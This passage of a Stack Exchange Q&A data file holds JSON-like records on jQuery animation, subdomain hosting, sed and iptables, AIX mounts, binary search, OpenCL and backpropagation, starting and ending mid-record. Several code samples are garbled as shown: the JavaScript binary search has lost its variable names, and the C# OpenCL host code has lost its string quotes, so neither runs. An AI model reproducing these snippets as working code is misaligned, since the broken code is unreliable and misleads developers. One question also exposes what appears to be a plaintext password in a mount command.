0% {    margin-top: -1em;  }  to {    margin-top: 0;  }  ;}@keyframes moveDown {  0% {    margin-top: -1em;  }  to {    margin-top: 0;  }  ;}<link href='https://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic,800,800italic' rel='stylesheet' type='text/css'><link href=https://fonts.googleapis.com/icon?family=Material+Icons rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js></script><!-- Coding Start Here --><section id=filter-search class=filter-search>  <div class=wrapper>    <i class=material-icons>search</i>    <div class=title-wrapper>      <h2>Filter Search</h2>      <span>Click to expand</span>    </div>  </div></section>"  , "title": "Expanding up or down"  , "tags": "javascript;performance;jquery"  , "accepted_answer": "It will be at least as reliable to test whether the parent element hasClass('active'), as that class will be toggled synchronously in response to a click.You can also benefit, syntactically, from chaining .removeClass() and .addClass() (or reducing to add/remove a single class).$(document).ready(function() { $('.title-wrapper').click(function(e) {  e.preventDefault();  var $filterSearch = $(this),   $wrapper = $(this).parent().toggleClass('active');  $wrapper.stop().delay(1500).promise().done(function() {   if ($wrapper.hasClass('active')) {    $filterSearch.removeClass('expand-down').addClass('expand-up');   } else {    $filterSearch.removeClass('expand-up').addClass('expand-down');   }  }); }).addClass('expand-down');});body {  font-size: 62.5%;  font-family: 'Roboto', sans-serif;  color: #FFF;}.filter-search {  background-color: #a78464;}.filter-search .wrapper {  width: 100%;  text-align: center;  height: 10em;  transition: height linear 1s;}.filter-search .wrapper .title-wrapper {  display: inline-block;}.filter-search .wrapper .title-wrapper h2 {  font-size: 3em;  margin-bottom: 0;}.filter-search .wrapper .title-wrapper span {  font-size: 1.4em;  display: block;  text-transform: uppercase;  margin-bottom: 2em;}.filter-search .wrapper.active {  height: 15em;  transition: height linear 1s;}.filter-search .expand-up {  -webkit-animation: moveUp ease-in 1;  animation: moveUp ease-in 1;  animation-fill-mode: forwards;  animation-duration: .5s;}.filter-search .expand-down,.filter-search .expand-up {  -webkit-animation-fill-mode: forwards;  -webkit-animation-duration: .5s;}.filter-search .expand-down {  -webkit-animation: moveDown ease-out 1;  animation: moveDown ease-out 1;  animation-fill-mode: forwards;  animation-duration: .5s;}@-webkit-keyframes moveUp {  0% {    margin-top: 0;  }  to {    margin-top: -1em;  }  ;}@keyframes moveUp {  0% {    margin-top: 0;  }  to {    margin-top: -1em;  }  ;}@-webkit-keyframes moveDown {  0% {    margin-top: -1em;  }  to {    margin-top: 0;  }  ;}@keyframes moveDown {  0% {    margin-top: -1em;  }  to {    margin-top: 0;  }  ;}<link href='https://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic,800,800italic' rel='stylesheet' type='text/css'><link href=https://fonts.googleapis.com/icon?family=Material+Icons rel=stylesheet><script src=https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js></script><!-- Coding Start Here --><section id=filter-search class=filter-search>  <div class=wrapper>    <i class=material-icons>search</i>    <div class=title-wrapper>      <h2>Filter Search</h2>      <span>Click to expand</span>    </div>  </div></section>Notes: By testing the synchronously toggled element, you will find this solution not to get confused by rapid multiple clicks. .stop() prevents the accumulation of delay. The title-wrapper div needs to be initialised with expand-down, otherwise there's a strange glitch after first click."  } 
{  "id": "_webmaster.19804"  , "question": "I have one domain, abc.com and for some reson I want to Install one application which require tomcat service. Current hosting is for php and apache only.Is it possible to host java.abc.com to another hosting and how it can be done?"  , "title": "Can we host subdomains to diffrent hosting provider?"  , "tags": "web hosting;domains"  } 
{  "id": "_cs.66020"  , "question": "For my science fair project, I implemented an optimization to Python's sort routine. The idea is to move the safety checks that have to be carried out during each comparison, e.g. type checks and character-width checks, outside of the sort loop and just get them all done in one pass. An optimized comparison function is then selected from a portfolio based on the results of the checks. So, for example, if the checks determine that all the objects are of the same type, the selected comparison function can skip the usually-required are the object types compatible check. Etc.I have to write this up as a paper, and am currently working on a literature review. Are there any papers describing similar techniques in other dynamic languages/generally?"  , "title": "Reference request: optimizing procedures on lists in dynamic languages by performing safety checks in advance"  , "tags": "reference request;type checking;program optimization;interpreters"  , "accepted_answer": "I'm not aware of anything exactly like this, but there are some things that are arguably related.For specifically sorting this is related to the Schwartzian transform, though with a very different goal.  In the Schwartzian transform, you run through the input applying an expensive function and pairing the input and output together, then sorting on the output.  This is in contrast to performing that expensive function on each operation.  In your case, your expensive function would be the type checks and the dynamic dispatches.  A bit differently you would be checking a property for the whole list as well and then choosing which comparison operation to use based on that.In a totally different vein, there's a general technique called polymorphic inline caching (pioneered by the Self team and covered, among many other things, in Craig Chamber's thesis) and more generally adaptive optimization that is used in some virtual machines.  Polymorphic inline caching solves the problem that if we do a dynamic dispatch, then we are jumping to some completely unknown code, and thus we can't inline it and optimize it and the current function.  The solution is simple: just do an if to test if we are in some specific case, and if so, we can inline that code, else we do the dynamic dispatch.  The problem is there is an unbounded, unknown number of possible cases.  This isn't a problem, though, for a Just-In-Time (JIT) compiler which can just do this for the cases actually seen at runtime.This doesn't solve your problem since dynamic dispatch is based on the runtime class of an object, not on some arbitrary predicate like all the elements of this array have the same type.  This is where adaptive optimization comes in and things like tracing JIT compilers.  It's quite conceivable that unrolling a loop a few times or inlining a couple levels of recursion can lead to many type checks being eliminated with simple constant propagation style optimizations, and possibly entirely eliminated by more sophisticated optimizations in some cases.  Nevertheless, it will often not do the same thing as you are suggesting and would need to see a trace first for each use of the sort function.  On the other hand, if it knows all the elements are numbers, say, from earlier code, it can eliminate checking entirely."  } 
{  "id": "_unix.317218"  , "question": "How can I keep something always compiling on a spare machine?As it's just for looks, the more complex looking the better. I don't care what it is, just so long as it doesn't require input on my part, and it repeats forever.I'll be using some flavor of Ubuntu.Thanks in advance!"  , "title": "How can I keep something, anything, compiling forever?"  , "tags": "compiling"  , "accepted_answer": "Are you just looking for something looking busy? Don't care about any productive output? Check out hollywood. There is a link here talking about it, and spotting it in the wild."  } 
{  "id": "_webapps.36679"  , "question": "Basically, I am adding a Google Hangout button to my Contact page. The idea is for my visitors to be able to press the button and for it to initiate a Google Hangout with me. Is this possible?Is there anything that makes this possible?Thank you!"  , "title": "Adding a Google Hangout button to my site. When visitors click it, is there anyway for it to initiate a hangout with me?"  , "tags": "google;google hangouts"  , "accepted_answer": "After more research, doesn't look like this feature is available yet.http://productforums.google.com/forum/#!topic/google-plus-discuss/-cJeQltplhE"  } 
{  "id": "_unix.109243"  , "question": "I am trying to type this comand but for some reason it takes the first and not the second version.I have entered both the host names in the host file, FYI.This command works (hostname zq13c1):mkcifsmnt -f /aix_bk5 -d AIX -h zq13c1 -c 'aix_user' -p 'Cognizant123' -u 214 -g 204 -t rw This command does not work (hostname zq13c1_bk):mkcifsmnt -f /aix_bk5 -d AIX -h zq13c1_bk -c 'aix_user' -p 'Cognizant123' -u 214 -g 204 -t rw "  , "title": "AIX cifs hostname with underscore"  , "tags": "aix;command;hostname;cifs"  , "accepted_answer": "Quoting from this wiki article:The Internet standards (Request for Comments) for protocols mandate that component hostname labels may contain only the ASCII letters 'a' through 'z' (in a case-insensitive manner), the digits '0' through '9', and the hyphen ('-'). The original specification of hostnames in RFC 952, mandated that labels could not start with a digit or with a hyphen, and must not end with a hyphen. However, a subsequent specification (RFC 1123) permitted hostname labels to start with digits. No other symbols, punctuation characters, or white space are permitted.The underscore _ is not a valid character in a hostname."  } 
{  "id": "_webmaster.37698"  , "question": "I am building a social media site that is similar is structure to twitter and facebook.com where unauthenticated users who go to https://mysite.com will see a login + sign-up page, and authenticated users who go to https://mysite.com will see their timeline.My question is, what is the best practice (using Google Analytics) for tracking these two different types of users who are viewing completely different content but are visiting the same URL.I tried searching the Google Analytics docs but couldn't find what they suggested for this scenario. Perhaps I just don't know what keywords to search for."  , "title": "Tracking logged in vs. non-logged in users in Google Analytics"  , "tags": "google analytics;javascript"  , "accepted_answer": "I finally found it in the Google Analytics Docs:Use session-level custom variables to distinguish different visitor experiences across sessions.For example, if your website offers users the ability to login, you can use a custom variable scoped to the session level for user login status. In that way, you can segment visits by those from logged in members versus anonymous visitors._gaq.push(['_setCustomVar',   1,             // This custom var is set to slot #1.  Required parameter.   'User Type',   // The name of the custom variable.  Required parameter.   'Member',      // Sets the value of User Type to Member or Visitor depending on status.  Required parameter.   2              // Sets the scope to session-level.  Optional parameter.]);"  } 
{  "id": "_unix.348848"  , "question": "I want to print output between two pattern and first pattern should be second time matching in file.Example - test.txtstart onetext_1   endstart twotext_2end start threetext_3endHere first pattern is start and second pattern is end. Pattern start should be second time pattern matching in file.Then output should be start twotext_2end"  , "title": "Print between two patterns only when the first pattern occurs for the second time"  , "tags": "text processing;awk;sed"  } 
{  "id": "_unix.203449"  , "question": "#!/bin/bashsearch_string=\\/sbin\\/iptables -A INPUT -p tcp --dport 12443 -j ACCEPT;delimeters=$(cat /root/firewall/firewall.txt);sed -i s/$search_string/$delimeters$search_string/ /root/result.txtI want to add the contents of the /root/firewall/firewall.txt into /root/result.txt file before a line which is saved in search_string variable.If /root/firewall/firewall.txt contains one line above script works. But if the firewall.txt contains multiple lines, script breaks as:sed: -e expression #1, char 64: unterminated `s' commandI think, new line characters causing the problem but I could not properly backslash it.search_string=\\/sbin\\/iptables -A INPUT -p tcp --dport 12443 -j ACCEPT;delimeters=$(cat /root/firewall/firewall.txt);replaced= $delimeters | sed -r 's/\\\\n/\\\\\\\\n/g'sed -i s/$search_string/$replaced$search_string/ /root/result.txt How can I fix this issue?"  , "title": "Adding File Text With Sed"  , "tags": "sed"  , "accepted_answer": "(This overlaps somewhat with some of the other answers.)Im somewhat confused. You say,I want to add the contents of the firewall.txt file  into the result.txt file  before a line which is saved in search_string variable.OK, first of all, if they arent an essential part of the question,full pathnames (/root/) clutter your question and add no value.Just use simple filenames. After all,I hope youre debugging this in a local directory, not running as root.Secondly, what is useful is giving some example data.Not the 2000 lines that you actually have in your actual files,but a handful of lines.(Again: you are debugging this on test files, arent you?)For example, say result.txt containsOne, two,/sbin/iptables -A INPUT -p tcp --dport 12443 -j ACCEPTBuckle my shoe.and firewall.txt containsHumpty Dumpty sat on a wall.You say,If firewall.txt contains [only] one line, the script#!/bin/bashsearch_string=\\/sbin\\/iptables -A INPUT -p tcp --dport 12443 -j ACCEPT;delimeters=$(cat /root/firewall/firewall.txt);sed -i s/$search_string/$delimeters$search_string/ /root/result.txtworks.(By the way, you dont need the semicolons at the ends of the lines,and the word delimiter is spelled with the word limit in the middle.)Well, the above produces this result:One, two,Humpty Dumpty sat on a wall./sbin/iptables -A INPUT -p tcp --dport 12443 -j ACCEPTBuckle my shoe.Is that really what you want?Because thats not what most people think when you say,add [text] into [a] file before a line,especially when you start talking about the text to be insertedbeing more than one line,and especially since you said the linebreaks should be still therethe same way as in the firewall.txt.Ill assume that you really wantOne, two,Humpty Dumpty sat on a wall./sbin/iptables -A INPUT -p tcp --dport 12443 -j ACCEPTBuckle my shoe.If you want the last line of the firewall.txt fileconcatenated with the /sbin/iptables line,please explain more precisely what you want.You say,search_string=\\/sbin\\/iptables -A INPUT -p tcp --dport 12443 -j ACCEPT;delimeters=$(cat /root/firewall/firewall.txt);replaced= $delimeters | sed -r 's/\\\\n/\\\\\\\\n/g'sed -i s/$search_string/$replaced$search_string/ /root/result.txtWell, thats nonsense; the third line responds-bash: Humpty Dumpty sat on a wall.: command not foundPerhaps you meantreplaced=$(echo $delimeters | sed -r 's/\\\\n/\\\\\\\\n/g')?OK, even if you had saidreplaced=$(echo $delimeters | sed -r 's/\\\\n/\\\\\\\\n/g')it wouldnt have done any good, because sed normally worksa line at a time, and it isnt going to see newlines as characters in lines(even if its input is coming from a shell variablethat has a multi-line value;thats no different from a file with multiple lines).What does work (eliminating a useless use of cat) isreplaced=$(sed 's/$/\\\\/' firewall.txt)sed s/$search_string/$replaced$search_string/ result.txtusing sed 's/$/\\\\/' to add a backslashat the end of every line in firewall.txt.You need to type a newline (Enter) after $replacedbecause the last newline gets stripped offwhen you do the replaced=$() command substitution.And, just for simplicitys sake,if you want to leave the /sbin/iptables command untouched,you might want to consider changing the final command tosed s/$search_string/$replaced&/ result.txtusing & in the replacement string to sayinsert here the text that was found by the search string (regex).While the s command will allow you to insert entire lines,it wasnt really meant for that. There are a, i, and c commandsfor inserting one or more entire lines from the command string.But, since your insertion text is coming from a file,it makes the most sense to look at the r (read) command.As a first cut,sed /$search_string/r firewall.txt result.txtwill do almost what you want. Almost.Unfortunately, it will inject the contents of the firewall.txt fileafter the /sbin/iptables line.I was able to find a workaround(to get the contents of firewall.txt before the /sbin/iptables line),but its grievously complicated:sed -n -e /$search_string/{s/^/+/; h; r firewall.txtn} -e 'x; s/^+//p; s/.*//; x; p' result.txtApparently sed wont recognize ; as a delimiter to end a filename,so, when we say rfirewall.txt, we must type Enter.Here we go:-n: Dont write output except as commanded by p or r commands./$search_string/{}: For each line matching $search_string(/sbin/iptables ), do the following:s/^/+/: Insert a + at the beginning of the line(creating +/sbin/iptables ).This flags the line as being a match for the search string.(Ill get back to that.)h: Copy the pattern space (+/sbin/iptables ) to the hold space.r firewall.txt: Read the firewall.txt file(and write its contents).n: Stop processing this line and read the next one.Then, for every other line (those not matching $search_string),do the following:x: Exchange the contents of the hold and pattern spaces.I.e., the line we just read (the one not matching $search_string)goes into the hold space,and we copy into the pattern space the previously held line(which might be +/sbin/iptables  and might be blank).s/^+//p: If the line is a saved match of the search string(i.e., it is a flagged line containing +/sbin/iptables ),strip off the + and print the rest.Otherwise, print nothing.s/.*//: Wipe out the line (replace everything with nothing).I would have liked to do d (delete) here,but that terminates processing of the current line.x: Exchange the contents of the hold and pattern spaces again.Move the blank line from the pattern space into the hold space,and retrieve the line from result.txt that we just stashed there.And finally p: Print the line from result.txt.In short,When we find a line matching $search_string (i.e., /sbin/iptables ),we save it in the hold space (without printing it),and read (and print) the firewall.txt file.For every other (i.e., non-matching) line,we pull the saved line (if any) out of the hold space and print it,and then print the current line.Argh! This fails if /sbin/iptables  occurs on the last line,because it gets saved in the hold space,but theres no subsequent non-matching line to trigger its extraction.So lets just make sure that /sbin/iptables never occurs on the last line,by adding a dummy line at the end, and then strategically removing it.echo >> result.txtsed -n -e /$search_string/{s/^/+/; h; r firewall.txtn} -e 'x; s/^+//p; $d; s/.*//; x; p' result.txtThe $d causes the last line to be deleted.(We could use $q and get the same effect.)This does work if there are multiple iptables lines.But, yes, it is getting to be something of a kludge.I guess thesed s/$search_string/$replacednewline&/answer isnt looking so bad now."  } 
{  "id": "_codereview.168730"  , "question": "I want to perform a binary search on a continuous unimodal function (x)=y, where x and y are real numbers. I'm not looking up values in an array, and so I don't have clean integer inputs that I'm stepping along.My original attempt at a function (written in JavaScript) has the problem that when the input value you are looking for happens to sit on a boundary chosen by the algorithm, the algorithm continues to run until the numeric precision is exhausted:/** * y: the target output value to find a matching input * minX: the smallest input value * maxX: the largest input value * :    a function that returns a value given an X * :    the threshold to compare outputs versus the target (default:0) */function binarySearch(y, minX, maxX, , ) {    if (===undefined) =0;    let m=minX, n=maxX, k, v, ;    while (m<=n) {        k = (n+m)/2;        v = (k);         = y-v;        if (Math.abs()<=) return k;        if (>0) m = k;        else     n = k;    }    if (Math.abs(y-(m))<=) return m;    if (Math.abs(y-(n))<=) return n;}With the above, the call binarySearch( 0, 0, 10, n=>n ) will run 1077 iterations until m=0 and n=5e-324 before (m+n)/2 is finally so close to 0 that even with =0 the JavaScript interpreter cannot tell the difference.A hack I was going to use is to provide a minimum step function that modifies each boundary by a fixed amount (similar to array index +/- 1). This forces the boundary to move faster, but also requires an >0 in case the boundary overshoots the value. It feels gross:// step: a minimum amount to move each boundary each timefunction binarySearch(y, minX, maxX, , , step) {    if (===undefined) =0;    if (step===undefined) step=0;    let m=minX, n=maxX, k, v, ;    while (m<=n) {        k = (n+m)/2;        v = (k);         = y-v;        if (Math.abs()<=) return k;        if (>0) m = k+step;                 n = k-step;    }    if (Math.abs(y-(m))<=) return m;    if (Math.abs(y-(n))<=) return n;}A ~clean fix is to check the boundaries on every pass by moving the final two if statements into the while loop. This calls () three times as often each pass, and so seems inelegant./** * y: the target output value to find a matching input * minX: the smallest input value * maxX: the largest input value * :    a function that returns a value given an X * :    the threshold to compare outputs versus the target (default:0) */function binarySearch(y, minX, maxX, , ) {    if (===undefined) =0;    let m=minX, n=maxX, k, v, ;    while (m<=n) {        k = (n+m)/2;        v = (k);         = y-v;        if (Math.abs(y-(m))<=) return m;        if (Math.abs(y-(n))<=) return n;        if (Math.abs()<=) return k;        if (>0) m = k;        else     n = k;    }}It smells to me like there ought to be an elegant solution, some sort of fencepost I'm not thinking of, that fixes this efficiently and elegantly."  , "title": "Binary search on real space"  , "tags": "javascript;binary search"  } 
{  "id": "_webmaster.18399"  , "question": "I see from WMT that my site has 4 (404) crawl errors, each Linked from 2 separate pages. As this is a small directory listings site it would be difficult to delete the missing URLs from the db each time it happens. Does Google penalise me for this in any way? "  , "title": "Crawl Errors (404) Showing Up in WMT"  , "tags": "google search console;googlebot"  } 
{  "id": "_unix.171190"  , "question": "I've installed Red Hat 6.5 and see that Ctrl + V does not work. It just prints ^V in the console instead of pasting from the clipboard. What can be wrong? How can I enable pasting using Ctrl + V?"  , "title": "How enable ctrl + v paste in redhat?"  , "tags": "terminal"  } 
{  "id": "_scicomp.8232"  , "question": "I'm new to opencl but I have some experience using HLSL. In HLSL multiple passes are used when you need to finish a computation before moving on to the next step.I would like to know how this sort of thing is done in opencl.I am writing an image filter as belowfloat4 Convolution(__read_only image2d_t srcImg, int2 point, float * kern){    const sampler_t smp = CLK_NORMALIZED_COORDS_FALSE | CLK_ADDRESS_CLAMP_TO_EDGE | CLK_FILTER_LINEAR;    int maskSize = 1;    float4 sum = (float4)(0.0f,0.0f,0.0f,0.0f);    for (int i = -maskSize; i <= maskSize; i++)    {        for(int j = -maskSize; j <= maskSize; j++)         {            int2 delta = (int2)(i+maskSize,j+maskSize);             int2 pos = (int2)(i,j);            sum += kern[(delta.y*3) + delta.x] * convert_float4(read_imageui(srcImg, smp, point + pos));        }    }    return sum;}__kernel void imagingTest(__read_only  image2d_t srcImg, __write_only image2d_t dstImg){    float k = 30.0L;    float delta_t = 0.14285714285714285714285714285714L; // 1/7    float hN[9];    hN[0] = 0; hN[1] = 1; hN[2] = 0;    hN[3] = 0; hN[4] =-1; hN[5] = 0;     hN[6] = 0; hN[7] = 0; hN[8] = 0;    float hS[9];    hS[0] = 0; hS[1] = 0; hS[2] = 0;    hS[3] = 0; hS[4] =-1; hS[5] = 0;     hS[6] = 0; hS[7] = 1; hS[8] = 0;    float hE[9];    hE[0] = 0; hE[1] = 0; hE[2] = 0;    hE[3] = 0; hE[4] =-1; hE[5] = 1;     hE[6] = 0; hE[7] = 0; hE[8] = 0;    float hW[9];    hW[0] = 0; hW[1] = 0; hW[2] = 0;    hW[3] = 1; hW[4] =-1; hW[5] = 0;     hW[6] = 0; hW[7] = 0; hW[8] = 0;    float hNE[9];    hNE[0] = 0; hNE[1] = 0; hNE[2] = 1;    hNE[3] = 0; hNE[4] =-1; hNE[5] = 0;     hNE[6] = 0; hNE[7] = 0; hNE[8] = 0;    float hSE[9];    hSE[0] = 0; hSE[1] = 0; hSE[2] = 0;    hSE[3] = 0; hSE[4] =-1; hSE[5] = 0;     hSE[6] = 0; hSE[7] = 0; hSE[8] = 1;    float hSW[9];    hSW[0] = 0; hSW[1] = 0; hSW[2] = 0;    hSW[3] = 0; hSW[4] =-1; hSW[5] = 0;     hSW[6] = 1; hSW[7] = 0; hSW[8] = 0;    float hNW[9];    hNW[0] = 1; hNW[1] = 0; hNW[2] = 0;    hNW[3] = 0; hNW[4] =-1; hNW[5] = 0;     hNW[6] = 0; hNW[7] = 0; hNW[8] = 0;    const sampler_t smp = CLK_NORMALIZED_COORDS_FALSE | CLK_ADDRESS_CLAMP_TO_EDGE | CLK_FILTER_LINEAR;    int2 coord = (int2)(get_global_id(0), get_global_id(1));    uint4 bgra = read_imageui(srcImg, smp, coord);     float4 nablaN = Convolution(srcImg, coord, hN);    float4 nablaS = Convolution(srcImg, coord, hS);    float4 nablaE = Convolution(srcImg, coord, hE);    float4 nablaW = Convolution(srcImg, coord, hW);    float4 nablaNE = Convolution(srcImg, coord, hNE);    float4 nablaNW = Convolution(srcImg, coord, hNW);    float4 nablaSE = Convolution(srcImg, coord, hSE);    float4 nablaSW = Convolution(srcImg, coord, hSW);    float4 cN  = exp(-(nablaN /k) * (nablaN /k));    float4 cS  = exp(-(nablaS /k) * (nablaS /k));    float4 cW  = exp(-(nablaW /k) * (nablaW /k));    float4 cE  = exp(-(nablaE /k) * (nablaE /k));    float4 cNE = exp(-(nablaNE/k) * (nablaNE/k));    float4 cSE = exp(-(nablaSE/k) * (nablaSE/k));    float4 cSW = exp(-(nablaSW/k) * (nablaSW/k));    float4 cNW = exp(-(nablaNW/k) * (nablaNW/k));    float4 sum = 0.5 * (nablaNE * cNE) + (nablaSE * cSE) + (nablaSW * cSW) + (nablaNW * cNW);    sum += (nablaN * cN) + (nablaS * cS) + (nablaW * cW) + (nablaE * cE);    sum *= delta_t;     bgra.x = bgra.y = bgra.z = convert_int(sum.x);    bgra.w = 255;    write_imageui(dstImg, coord, bgra);}This performs one pass of anisotropic diffusion, I would like to be able to apply this process multiple times. How do I do this?EDITHere's the C# codeusing System;using System.Collections;using System.Collections.Generic;using System.Drawing;using System.Drawing.Imaging;using System.IO;using System.Runtime.InteropServices;using Emgu.CV;using Emgu.Util;using Emgu;using Emgu.CV.Structure;using OpenCL.Net;namespace HLSLTest{    public class Computations    {        private Cl.Context _context;        private Cl.Device _device;        private Cl.Kernel kernel;        private void CheckErr(Cl.ErrorCode err, string name)        {            if (err != Cl.ErrorCode.Success)            {                Console.WriteLine(ERROR:  + name +  ( + err.ToString() + ));            }        }        private void ContextNotify(string errInfo, byte[] data, IntPtr cb, IntPtr userData)        {            Console.WriteLine(OpenCL Notification:  + errInfo);        }        public void Setup()        {            Cl.ErrorCode error;            Cl.Platform[] platforms = Cl.GetPlatformIDs(out error);            List<Cl.Device> devicesList = new List<Cl.Device>();            CheckErr(error, Cl.GetPlatformIDs);            foreach (Cl.Platform platform in platforms)            {                string platformName = Cl.GetPlatformInfo(platform, Cl.PlatformInfo.Name, out error).ToString();                Console.WriteLine(Platform:  + platformName);                CheckErr(error, Cl.GetPlatformInfo);                //We will be looking only for GPU devices                foreach (Cl.Device device in Cl.GetDeviceIDs(platform, Cl.DeviceType.Gpu, out error))                {                    CheckErr(error, Cl.GetDeviceIDs);                    Console.WriteLine(Device:  + device.ToString());                    devicesList.Add(device);                }            }            if (devicesList.Count <= 0)            {                Console.WriteLine(No devices found.);                return;            }            _device = devicesList[0];            if (Cl.GetDeviceInfo(_device, Cl.DeviceInfo.ImageSupport, out error).CastTo<Cl.Bool>() == Cl.Bool.False)            {                Console.WriteLine(No image support.);                return;            }            _context = Cl.CreateContext(null, 1, new[] { _device }, ContextNotify, IntPtr.Zero, out error); //Second parameter is amount of devices            CheckErr(error, Cl.CreateContext);            //Load and compile kernel source code.            string programPath = Environment.CurrentDirectory + /../../../ImagingTest.cl;  //The path to the source file may vary            if (!System.IO.File.Exists(programPath))            {                Console.WriteLine(Program doesn't exist at path  + programPath);                return;            }            string programSource = System.IO.File.ReadAllText(programPath);            using (Cl.Program program = Cl.CreateProgramWithSource(_context, 1, new[] { programSource }, null, out error))            {                CheckErr(error, Cl.CreateProgramWithSource);                //Compile kernel source                error = Cl.BuildProgram(program, 1, new[] { _device }, string.Empty, null, IntPtr.Zero);                CheckErr(error, Cl.BuildProgram);                //Check for any compilation errors                if                (                    Cl.GetProgramBuildInfo                    (                        program,                        _device,                        Cl.ProgramBuildInfo.Status,                        out error                    ).CastTo<Cl.BuildStatus>() != Cl.BuildStatus.Success                )                {                    CheckErr(error, Cl.GetProgramBuildInfo);                    Console.WriteLine(Cl.GetProgramBuildInfo != Success);                    Console.WriteLine(Cl.GetProgramBuildInfo(program, _device, Cl.ProgramBuildInfo.Log, out error));                    return;                }                //Create the required kernel (entry function)                kernel = Cl.CreateKernel(program, imagingTest, out error);                                CheckErr(error, Cl.CreateKernel);            }        }        public void ImagingTest(Image<Gray, Single> InputImage, out Image<Gray, Single> outputImage)        {            Cl.ErrorCode error;            int intPtrSize = 0;            intPtrSize = Marshal.SizeOf(typeof(IntPtr));            //Image's RGBA data converted to an unmanaged[] array            byte[] inputByteArray;            //OpenCL memory buffer that will keep our image's byte[] data.            Cl.Mem inputImage2DBuffer;            Cl.ImageFormat clImageFormat = new Cl.ImageFormat(Cl.ChannelOrder.RGBA, Cl.ChannelType.Unsigned_Int8);            int inputImgWidth, inputImgHeight;            int inputImgBytesSize;            int inputImgStride;            inputImgWidth = InputImage.Width;            inputImgHeight = InputImage.Height;            System.Drawing.Bitmap bmpImage = InputImage.ToBitmap();            //Get raw pixel data of the bitmap            //The format should match the format of clImageFormat            BitmapData bitmapData = bmpImage.LockBits            (                new Rectangle(0, 0, bmpImage.Width, bmpImage.Height),                ImageLockMode.ReadOnly,                PixelFormat.Format32bppArgb            );            inputImgStride = bitmapData.Stride;            inputImgBytesSize = bitmapData.Stride * bitmapData.Height;            //Copy the raw bitmap data to an unmanaged byte[] array            inputByteArray = new byte[inputImgBytesSize];            Marshal.Copy(bitmapData.Scan0, inputByteArray, 0, inputImgBytesSize);            //Allocate OpenCL image memory buffer            inputImage2DBuffer = Cl.CreateImage2D            (                _context,                Cl.MemFlags.CopyHostPtr | Cl.MemFlags.ReadOnly,                clImageFormat,                (IntPtr)bitmapData.Width,                (IntPtr)bitmapData.Height,                (IntPtr)0,                inputByteArray,                out error            );            CheckErr(error, Cl.CreateImage2D input);            //Unmanaged output image's raw RGBA byte[] array            byte[] outputByteArray = new byte[inputImgBytesSize];            //Allocate OpenCL image memory buffer            Cl.Mem outputImage2DBuffer = Cl.CreateImage2D            (                _context,                Cl.MemFlags.CopyHostPtr | Cl.MemFlags.WriteOnly,                clImageFormat,                (IntPtr)inputImgWidth,                (IntPtr)inputImgHeight,                (IntPtr)0,                 outputByteArray,                out error            );            CheckErr(error, Cl.CreateImage2D output);            //Pass the memory buffers to our kernel function            error  = Cl.SetKernelArg(kernel, 0, (IntPtr)intPtrSize,  inputImage2DBuffer);            error |= Cl.SetKernelArg(kernel, 1, (IntPtr)intPtrSize, outputImage2DBuffer);            CheckErr(error, Cl.SetKernelArg);            //Create a command queue, where all of the commands for execution will be added            Cl.CommandQueue cmdQueue = Cl.CreateCommandQueue(_context, _device, (Cl.CommandQueueProperties)0, out error);            CheckErr(error, Cl.CreateCommandQueue);            Cl.Event clevent;            //Copy input image from the host to the GPU.            IntPtr[] originPtr = new IntPtr[] { (IntPtr)0, (IntPtr)0, (IntPtr)0 };  //x, y, z            IntPtr[] regionPtr = new IntPtr[] { (IntPtr)inputImgWidth, (IntPtr)inputImgHeight, (IntPtr)1 }; //x, y, z            IntPtr[] workGroupSizePtr = new IntPtr[] { (IntPtr)inputImgWidth, (IntPtr)inputImgHeight, (IntPtr)1 };            error = Cl.EnqueueWriteImage(cmdQueue, inputImage2DBuffer, Cl.Bool.True, originPtr, regionPtr, (IntPtr)0, (IntPtr)0, inputByteArray, 0, null, out clevent);            CheckErr(error, Cl.EnqueueWriteImage);            //Execute our kernel (OpenCL code)            error = Cl.EnqueueNDRangeKernel(cmdQueue, kernel, 2, null, workGroupSizePtr, null, 0, null, out clevent);            CheckErr(error, Cl.EnqueueNDRangeKernel);            //Wait for completion of all calculations on the GPU.            error = Cl.Finish(cmdQueue);            CheckErr(error, Cl.Finish);            //Read the processed image from GPU to raw RGBA data byte[] array            error = Cl.EnqueueReadImage            (                cmdQueue,                outputImage2DBuffer,                Cl.Bool.True,                originPtr,                regionPtr,                (IntPtr)0,                (IntPtr)0,                outputByteArray,                0,                null,                out clevent            );            CheckErr(error, Cl.clEnqueueReadImage);            //Clean up memory            Cl.ReleaseKernel(kernel);            Cl.ReleaseCommandQueue(cmdQueue);            Cl.ReleaseMemObject(inputImage2DBuffer);            Cl.ReleaseMemObject(outputImage2DBuffer);            //Get a pointer to our unmanaged output byte[] array            GCHandle pinnedOutputArray = GCHandle.Alloc(outputByteArray, GCHandleType.Pinned);            IntPtr outputBmpPointer = pinnedOutputArray.AddrOfPinnedObject();            //Create a new bitmap with processed data and save it to a file.            Bitmap outputBitmap = new Bitmap(inputImgWidth, inputImgHeight, inputImgStride, PixelFormat.Format32bppArgb, outputBmpPointer);            outputImage = new Image<Gray, Single>(outputBitmap);            //outputBitmap.Save(outputImagePath, System.Drawing.Imaging.ImageFormat.Png);            pinnedOutputArray.Free();        }    }}"  , "title": "How to use multiple passes in OpenCL?"  , "tags": "opencl"  , "accepted_answer": "OpenCL uses barriersYou need to store the results of the first pass in a variable then callbarrier(CLK_LOCAL_MEM_FENCE);Once all the threads have reached the barrier, the next section of code can be executed. This is to enforce data dependencies. "  } 
{  "id": "_datascience.14226"  , "question": "If we have MLP then we can easily compute the gradient for each parameters, by computing the gradient recursively begin with the last layer of the network, but suppose I have neural network that consist of different type of layer for instance Input->convolution layer->ReLu->max pooling->fully connected layer->siftmax layer,  how do I compute the gradient for each parameters ?"  , "title": "How to train neural network that has different kind of layers"  , "tags": "machine learning;deep learning;gradient descent"  , "accepted_answer": "The different layers you describe can all have gradients calculated using the same back propagation equations as for a simpler MLP. It is still the same recursive process, but it is altered by the parameters of each layer in turn. There are some details worth noting:If you want to understand the correct formula to use, you will need to study the equations of back propagation using the chain rule (note I have picked one example worked through, there are plenty to choose from - including some notes I made myself for a now defunct software project).When feed-forward values overlap (e.g. convolutional) or are selected (e.g. dropout, max pooling), then the combinations are usually logically simple and easy to understand:For overlapped and combined weights, such as with convolution, then gradients simply add. When you back propagate the the gradients from each feature pixel in a 